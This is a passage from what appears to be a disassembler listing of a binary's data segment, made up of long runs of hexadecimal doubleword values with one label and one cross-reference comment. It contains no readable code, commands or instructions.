0E8F980AFh, 0EB003AF9h dd 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h dd 44073848h, 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h dd 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh, 33D0FCF3h dd 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h, 0F1844E1Bh dd 17039A7Eh dd 9CEA6523h, 0CBBCC85Fh, 988E000Dh, 0B5FB0444h, 96002B84h dd 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h, 2301FEE3h dd 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah, 0EDE7C1F9h dd 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch, 0BEE2418h dd 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h, 0F918588Fh dd 0D952C023h, 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h dd 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh, 0EB981307h dd 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h, 200758C4h dd 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h, 741CAF94h dd 2089E8F8h, 0BE210B3Ch, 687702C4h, 0F70EC859h, 0A8289300h dd 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h, 34C40790h dd 0AE423C2Ch, 622025CFh, 5A193538h, 4A14AF7Ch, 0BB6CF74h dd 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h, 7FAE037Ah dd 0CCA24200h, 369D86EEh, 0C8C00B7h, 576AF8CDh, 53012910h dd 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h, 29206A15h dd 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h, 30500DA3h dd 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h, 8800A495h dd 4178C646h, 91085B8h, 436DAC14h, 0A16A1787h, 2AB47023h dd 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h, 11A7EEAh dd 2B1864E5h, 30C3113Ch, 2330B9CFh, 0F4284214h, 0AA4D3B21h dd 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h, 0E2C78E21h dd 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h, 0EC1BF1A2h dd 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh, 0BA029482h dd 279955E0h, 58C84200h, 601F5389h, 4FE91F3Ah, 8FAEC3ABh dd 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h, 14D60818h dd 3E02D31Ah, 0E987ABF0h, 800F7BB1h, 94E21A11h, 437C9C00h dd 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h, 750B0C8h dd 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h, 275FC4F7h dd 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h, 9B12B2BBh dd 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h, 5100C2E9h dd 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h dd 348504Ah, 4C425A06h, 84C37210h, 0B3EF54B0h, 0B8278000h dd 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h, 96004022h dd 0F0C747D8h, 230148h, 0E676045h, 0CDAB894Ch, 50EF4000h dd 0BADCFE08h, 0E54FA98h, 10324476h, 0E1F05800h, 8100C3D2h dd 22EEEF5Ch, 3600EC0h, 0FEDCBA98h, 10E06480h, 8901ABCDh dd 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h, 9300ACE1h dd 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h, 3440702h, 7E08008h dd 7E0038F8h, 2B6FA81Eh, 18D6BD0h, 0E633F525h, 0F4D553DBh dd 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h, 0D82F707Fh dd 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h, 0DD8192C4h dd 7245618Ah, 95D5BE00h, 552DD3FEh, 0D9340019h, 7B816A09h dd 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh, 7B74BF54h dd 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h dd 24A91229h, 3B51064h, 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch dd 0E803C000h, 141BBD9h, 62C2BD7Ch, 20831D98h, 0EB00EAB3h dd 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h, 0BDA71801h dd 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh, 3105BDBAh dd 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h, 0AF005DE8h dd 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh, 808CF503h dd 0F07013DBh, 692124h, 4C33A91Ch, 0F101188h, 0F87C7E0Fh dd 7DAB40FDh, 0BDCE17h, 0A9F047C1h, 234E9C24h, 4BE2600h dd 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h dd 4610DE70h, 6714C1BEh, 147870h, 87C62A01h, 52F13547h dd 34978C00h, 90CC8523h, 13040018h, 27A83046h, 40077E58h dd 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h, 4369080Fh dd 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h, 0CDE49D87h dd 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch, 1E905CD7h dd 3B10C065h, 30C485BFh, 11220107h, 88506B90h, 7F5E08B0h dd 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch, 38519D88h dd 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h, 0F1E9E849h dd 0F2C2BE0Eh, 25620004h, 0A8F61Eh, 4518E869h, 58C4CB1h dd 0CE0D8007h, 40BE408Eh, 0C050B372h, 43290069h, 0A1785CB1h dd 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h, 30147681h dd 608C04C0h, 120011F0h, 0AA984ED3h, 4CE9B640h, 9600D7D2h dd 97801DCFh, 0FB017204h, 290C0514h, 5DC0F28Bh, 0D62F3010h dd 9888A3E8h, 285138h, 42441453h, 0BB42302h, 5729B7C4h dd 0A1E66601h, 99E5F0D8h, 0BBB8B00h, 0C8982093h, 40D300FBh dd 0B21008E7h, 3504E924h, 8C2B46DEh, 95C05285h, 721E1CDh dd 1EB22FC2h, 82BA79h, 710D638h, 8478C337h, 43126CFCh dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h, 2BA09DC2h dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h dd 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h, 700E1000h dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h dd 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h, 1BCEFC5Ch dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h, 97000185h dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h, 9AD8C400h dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h, 0C40D544h dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h dd 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h dd 8D2A107h, 96044E00h, 9017A832h, 1F82EE10h, 82F7537Eh dd 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch dd 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh, 0D39100C2h dd 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h dd 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h dd 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh, 11A7B4EBh dd 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h dd 0F5504890h dd 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh, 0AE6E9h dd 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh, 3F97F51h dd 85D53A97h, 0CB8238Ch, 0C800EACAh, 4A1FE97Dh, 1F4C37C7h dd 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch, 67AE5087h dd 49001E97h, 3F8A5CD5h, 0EB302BFBh, 528CDF2Ah, 80D7143Ch dd 8A2B5A3h, 58D59502h, 17BD71Fh, 7E2B3CCh, 0DD6C1904h dd 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h, 0E6EBF600h dd 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh, 800E83B6h dd 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h, 230B280h dd 71CB5CEh, 8D1A0640h, 59A08F88h, 46CD1834h, 720C81Dh dd 8D001913h, 1709403Ch, 0F2D73B43h, 0B7511081h, 0BEE2AE91h dd 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h dd 307286E4h, 9223F902h, 60D0EA4Eh, 8CC9D6h, 2E1037A9h dd 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh, 0C0346437h dd 508B20Dh, 0FB2F180Eh, 9E6C4027h, 0A54AFFh, 6DB69773h dd 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h, 2F283791h dd 0B0FCD6Ch, 58D85380h, 0A0A34EC0h, 0A4E218B8h, 469900C1h dd 0CA9DC4D8h, 85A03C62h, 99A11907h, 0D4D9F4D0h, 0C374C00h dd 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h, 3887A42Ah dd 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h, 9BF0ACC4h dd 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h, 0C937E794h dd 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h, 0A54C433Dh dd 0DF10709h, 0FB17701h, 38EC74C4h, 7C8B020h, 6214230Ch dd 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h dd 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h, 2CFE2Eh dd 0C4CCF988h, 0D613080Dh, 953B9D01h, 0F234675Ch, 4E0360h dd 0CEA71FDBh, 85719C1Dh, 0BB8DE805h, 98063CCAh, 3228025h dd 776E2713h, 0A6C8E802h, 3300E90Ch, 0BE58C95Bh, 0F9485DBh dd 0B3A1FF3Ch, 46C508E0h, 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh dd 40F810FFh, 0C48773AEh, 4400040Fh, 8233FDCh, 0FBC8C42h dd 78C21259h, 1C941F60h, 0A472A7FFh, 81086809h, 0BD9D0718h dd 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h dd 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h, 0DD4C0105h dd 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h, 0A4A87D01h dd 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h, 54888CFh dd 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h, 2EBCD007h dd 0FED08F1Bh, 0B817F9h, 0B03DEB97h, 712F374Dh, 0DE4CAF00h dd 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h, 811009CAh dd 3AF0B9DEh, 7900F923h, 0D097E882h, 68485B8Ch, 1DA500E1h dd 0DECA881Eh, 7B910F4Fh, 24A0B609h, 298C47E9h, 54A43724h dd 12080E00h, 0E601D9h, 0A9ED2116h, 2C7920C4h, 22F93109h dd 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch, 4E00AA10h dd 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh, 3F0CE2AAh dd 0E003A390h, 1CAB825Bh, 9F019547h, 3CE8C23Eh, 8006569Ch dd 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h, 97134C34h dd 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h, 0EAC4313h dd 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h, 22CFEEh dd 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h, 174B8F5h dd 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h, 1BD00506h dd 5CF6006Ch, 4AB73BE1h, 0E8006133h, 6E75ACEBh, 0FB4ED472h dd 29B330h, 981CB2E2h, 5D1EE933h, 4B6EAD01h, 6F4A4CCAh dd 0FEE60B7Bh, 8301F580h, 38002DE2h, 11FF5AADh, 9088D496h dd 0B17DEFh, 9D28467Eh, 0F2A4C010h, 0F5A1361Fh, 38290B00h dd 0EA42FFh, 19934ADh, 0A5E32858h, 0C200B9F6h, 69AE1D84h dd 0EA2FD27h, 0D101F0Ch, 0F8E37D40h, 2002577Fh, 0D1958EFFh dd 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h, 142F43Fh dd 0E95018C8h, 13208DAEh, 62F023h, 4216E427h, 0AF1C843Ch dd 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h, 244C8900h dd 0BCC2F408h, 70740127h, 4B5C7C3Dh, 1822E814h, 571F5E00h dd 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h, 3F50E4F8h dd 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h, 4C592D2Eh dd 1A24E033h, 0D20031B0h, 585067D1h, 901485E5h, 0E9C40009h dd 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh, 0FE5A00B9h dd 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch, 8025103Eh, 0A159E2A4h dd 984BE623h, 242F862h, 2ECFB118h, 0C6405662h, 0FF1F3452h dd 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h, 0F03C165Fh dd 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h, 2DAC22B3h dd 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh, 4A089FABh dd 89DCD243h, 0C72DDB72h, 0C4074B0h, 6EEB60ABh, 0D9C2F030h dd 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h, 5C4D27D1h dd 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h, 0E85C136Dh dd 4810358Ah, 0C3FC2B8h, 5BD183BAh, 0B51C57F4h, 0BFA32280h dd 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h, 5B45DB05h dd 5F09024h, 38507BF9h, 6226C3E9h, 3560B4DAh, 2B059714h dd 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh, 1A052238h dd 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh, 0F1561527h dd 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah, 0F41A682h dd 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h, 0EA13DDF8h dd 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh, 0CC03A513h dd 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h, 0FCDD6510h dd 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h, 0A4D7CE7h dd 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h dd 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch dd 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh, 0B89D979Fh dd 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch, 9C0C7CDh dd 6D1FED19h, 0C2006A3Ah, 4034B81Eh, 8D130F0Dh, 71E35C89h dd 1E3FEAA1h, 63108351h, 0D81F97DFh, 0FAED8F0Ah, 1E080059h dd 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh dd 167CD085h, 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h, 4008006h dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h dd 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h, 7C6BF048h dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h, 0E3C0040Ch dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h, 1336F100h dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h dd 3837BD00h, 0D4189h dd 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch, 0F5DD255h dd 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h, 0C72FD433h dd 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h, 0E4A8C200h dd 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh dd 41A9F307h, 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h dd 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh, 5E34A787h dd 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h, 94D79F00h dd 2B12D63Fh, 88A91DD2h, 0F44240B8h, 56080CC8h, 0F172D307h dd 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh, 0B00C42Ch dd 2EF49D04h, 0A43C30h, 0CE034C7Fh, 0C941062h, 9F508800h dd 12D71114h, 0F2570089h, 54521F1Dh, 3307E3A5h, 190ACAA3h dd 12504AE0h, 3A580991h, 0F802108h, 47E4A542h, 97487E01h dd 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h, 849CBD1Ch dd 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h, 646D43Ch dd 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh, 42CE4DB6h dd 3050CE6h, 1CDA0849h, 20D85B14h, 76002734h, 402D4258h dd 0C1F041h, 3905E624h, 5312EF97h, 0FB005DECh, 4945D733h dd 15C940Fh, 810834B0h, 0F025BFC6h, 24000901h, 28007F2h dd 1EE231h, 0D6D3E30Bh, 32A221E6h, 907C4A00h, 0B833F934h dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h, 28E7EDh dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah dd 1F764D5h, 9A531EE7h, 6011F121h, 6A0434A5h, 543AA074h dd 0A18E4BC1h, 42F3C8h, 1E0FE368h, 84F2E8B2h, 38FA3000h dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h, 4A8F0700h dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h, 23002C90h dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h, 48C86B44h dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h dd 48F7AC4h, 1DA032F1h, 1660C5E2h, 0ACCC431Dh, 81DE42CFh dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh, 7780BCAh dd 0F4870063h, 2C4ABAh, 886F883h, 0CA62C1D6h, 0FC957703h dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h dd 2EA5C208h, 10CCBE0h, 10C46B1Dh, 14C83F02h, 0AA34C0F5h dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h, 0BB7374E0h dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah, 840111DCh dd 0E4BAC766h, 1E90ECh, 0FF5014E3h, 0C1E0166Fh, 3205C000h dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h, 82960136h dd 7E908173h, 3B8ECE3h, 3C01AF98h, 0C6BFC241h, 7DC06BCh dd 9C70038h, 0CC5C105h, 1717E29h, 87C0CC3Bh, 0CD410D80h dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h, 11E0B80h dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h, 0DBC11B00h dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch dd 1DC4138h, 81D4C114h, 15C040D5h, 0C0D70001h, 41168017h dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h dd 13D04FDh, 2083C0FFh, 0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h, 0EBC829FDh dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh, 0ED0BC12Dh dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h dd 0AB701Ch, 81A9C169h, 687040A8h, 0B8027867h, 7900B947h dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h dd 403BB681h dword_50005C dd 87720E76h, 80B340B2h, 81B10173h, 4170DC71h, 5010B070h ; DATA XREF: seg002:off_4469D4o dd 910090C1h, 93015140h, 528053C0h, 76927441h, 1C567896h dd 1971C57h, 8195C155h, 54CD4094h, 0C0019C01h, 415D805Ch dd 5FE49D70h, 819F07C1h, 615E409Eh, 0C89AE15Ah, 5B60E09Bh dd 59C099BEh, 41581F80h, 0DD88DF98h, 9F491D48h, 0CE4B9889h dd 8A1D818Bh, 4E874A40h, 8F208E87h, 40014F80h, 4CEE4D8Dh dd 88C4138h, 0B84C144h, 0B1814085h, 8747C087h, 864146CEh dd 42678247h, 831C4380h, 0C19C003Dh, 38EC6681h, 7C07A8DBh dd 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh, 899D505Dh dd 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah, 5F531D0Eh dd 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh, 0C8E36E59h dd 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h, 2FE83D73h dd 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h, 31EC13h dd 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h, 0F4154CF0h dd 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh, 0D63A9680h dd 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah dd 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h, 9C3B24h dd 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h dd 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h dd 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h dd 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h, 0FC0680F8h dd 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh dd 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h, 8DB38615h dd 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh dd 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh dd 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h dd 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h, 8C0E5567h dd 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h dd 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h, 88B83B75h dd 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h dd 200DEE2h, 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h, 40C3D500h dd 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh dd 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h dd 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h dd 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h dd 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h, 0B33C4E82h dd 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh dd 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh dd 10878021h, 52801E34h, 938013Ah, 97791257h, 0F3C10E0h dd 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh dd 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h, 